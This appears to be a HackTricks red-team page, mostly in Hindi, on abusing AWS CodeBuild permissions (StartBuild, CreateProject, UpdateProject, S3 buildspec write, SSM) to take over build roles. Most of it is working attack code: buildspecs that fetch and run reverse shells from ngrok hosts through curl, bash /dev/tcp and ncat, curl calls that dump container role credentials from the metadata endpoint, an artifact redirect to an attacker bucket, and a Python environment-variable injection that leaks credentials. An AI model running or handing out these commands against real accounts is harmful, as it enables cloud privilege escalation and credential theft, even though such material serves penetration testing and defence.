AWS - Codebuild Privesc

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

codebuild

अधिक जानकारी के लिए:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

इन अनुमतियों में से केवल एक भी होने पर, एक नया buildspec देकर build ट्रिगर करना और प्रोजेक्ट को असाइन किए गए iam role का token चुरा लेना पर्याप्त है:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Note: इन दोनों कमांड्स के बीच अंतर यह है कि:

  • StartBuild एक विशिष्ट buildspec.yml का उपयोग करते हुए एकल build जॉब ट्रिगर करता है।
  • StartBuildBatch आपको अधिक जटिल कॉन्फ़िगरेशन्स के साथ builds के एक बैच को शुरू करने की अनुमति देता है (जैसे एक साथ कई builds चलाना)।

Potential Impact: संलग्न AWS Codebuild roles पर सीधे privesc।

StartBuild Env Var Override

भले ही आप प्रोजेक्ट को संशोधित नहीं कर सकते (UpdateProject) और आप buildspec को ओवरराइड नहीं कर सकते, codebuild:StartBuild फिर भी build समय पर env vars को ओवरराइड करने की अनुमति देता है, इसके माध्यम से:

  • CLI: --environment-variables-override
  • API: environmentVariablesOverride

यदि build व्यवहार को नियंत्रित करने के लिए environment variables का उपयोग करता है (destination buckets, feature flags, proxy settings, logging, आदि), तो यह build role द्वारा एक्सेस किए जा सकने वाले exfiltrate secrets या build के अंदर code execution प्राप्त करने के लिए पर्याप्त हो सकता है।

Example 1: Artifact/Upload Destination को Redirect करके Exfiltrate Secrets

यदि build किसी artifact को ऐसे bucket/path पर प्रकाशित करता है जिसे env var (उदाहरण के लिए UPLOAD_BUCKET) द्वारा नियंत्रित किया जाता है, तो उसे attacker-controlled bucket पर ओवरराइड कर दें:

export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
उदाहरण 2: Python Startup Injection via PYTHONWARNINGS + BROWSER

यदि बिल्ड python3 चलाती है (buildspecs में सामान्य), तो आप कभी-कभी buildspec को छुए बिना दुरुपयोग करके कोड निष्पादन प्राप्त कर सकते हैं:

  • PYTHONWARNINGS: Python category फ़ील्ड को resolve करता है और डॉट-नोटेशन वाले paths को import करेगा। इसे ...:antigravity.x:... पर सेट करने से stdlib मॉड्यूल antigravity को import करने के लिए मजबूर किया जाता है।
  • antigravity: यह webbrowser.open(...) को कॉल करता है।
  • BROWSER: यह नियंत्रित करता है कि webbrowser क्या execute करे। Linux पर यह :-सेपरेटेड होता है। #%s का उपयोग करने से URL argument एक shell comment बन जाता है।

इसे उपयोग करके CodeBuild role credentials (from http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) को CloudWatch logs में प्रिंट किया जा सकता है, और फिर अगर आपके पास log read permissions हैं तो उन्हें रीकवर किया जा सकता है।

विस्तार योग्य: StartBuild JSON request for the PYTHONWARNINGS + BROWSER trick ```json { "projectName": "codebuild_lab_7_project", "environmentVariablesOverride": [ { "name": "PYTHONWARNINGS", "value": "all:0:antigravity.x:0:0", "type": "PLAINTEXT" }, { "name": "BROWSER", "value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s", "type": "PLAINTEXT" } ] } ```

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

यदि किसी हमलावर के पास iam:PassRole, codebuild:CreateProject, and codebuild:StartBuild or codebuild:StartBuildBatch अनुमतियाँ हों, तो वह एक चल रहा प्रोजेक्ट बनाकर escalate privileges to any codebuild IAM role कर सकेगा।

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

संभावित प्रभाव: किसी भी AWS Codebuild role पर प्रत्यक्ष privesc।

Warning

किसी Codebuild container में फ़ाइल /codebuild/output/tmp/env.sh में वे सभी env vars होते हैं जो metadata credentials को एक्सेस करने के लिए ज़रूरी हैं।

इस फ़ाइल में env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI होता है जिसमें क्रेडेंशियल्स तक पहुँचने के लिए URL path होता है। यह कुछ इस तरह होगा /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

उसे URL http://169.254.170.2/ के साथ जोड़ें और आप role credentials को dump कर पाएँगे।

इसके अलावा, इसमें env variable ECS_CONTAINER_METADATA_URI भी होता है जो container के बारे में पूरी जानकारी पाने के लिए complete URL रखता है — यानी metadata info about the container

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

जैसा कि पिछले सेक्शन में था, यदि build project बनाने के बजाय आप उसे संशोधित कर सकते हैं, तो आप IAM Role निर्दिष्ट कर सकते हैं और token चुरा सकते हैं।

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

संभावित प्रभाव: किसी भी AWS Codebuild role पर सीधे privesc।

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

पिछले सेक्शन की तरह, लेकिन iam:PassRole permission के बिना, आप इन permissions का दुरुपयोग करके मौजूदा Codebuild projects को संशोधित कर सकते हैं और उन पर पहले से असाइन किए गए role तक पहुँच सकते हैं

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

संभावित प्रभाव: संलग्न AWS Codebuild roles पर सीधा privesc।

SSM

यदि आपके पास enough permissions to start a ssm session हैं, तो बन रहे inside a Codebuild project में पहुँच जाना संभव है।

The codebuild project will need to have a breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

और फिर:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

अधिक जानकारी के लिए check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

यदि कोई attacker किसी विशेष CodeBuild प्रोजेक्ट की build को start/restart करने में सक्षम हो — और वह प्रोजेक्ट अपना buildspec.yml फ़ाइल उस S3 bucket पर स्टोर करता हो जिस पर attacker के पास write access है — तो attacker CodeBuild process में command execution प्राप्त कर सकता है।

Note: यह escalation केवल तब प्रासंगिक है जब CodeBuild worker का role attacker की role से भिन्न हो, और उम्मीद है कि वह अधिक privileged हो।

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

आप इस तरह का buildspec उपयोग करके reverse shell प्राप्त कर सकते हैं:

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: AWS CodeBuild worker द्वारा उपयोग किए जाने वाले role में सीधे privesc, जो आमतौर पर उच्च privileges रखता है।

Warning

ध्यान दें कि buildspec zip फॉर्मेट में हो सकता है, इसलिए एक attacker को download, unzip, modify the buildspec.yml from the root directory, zip again and upload करने की आवश्यकता होगी

अधिक जानकारी here मिल सकती है।

Potential Impact: संलग्न AWS Codebuild roles में सीधे privesc।

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें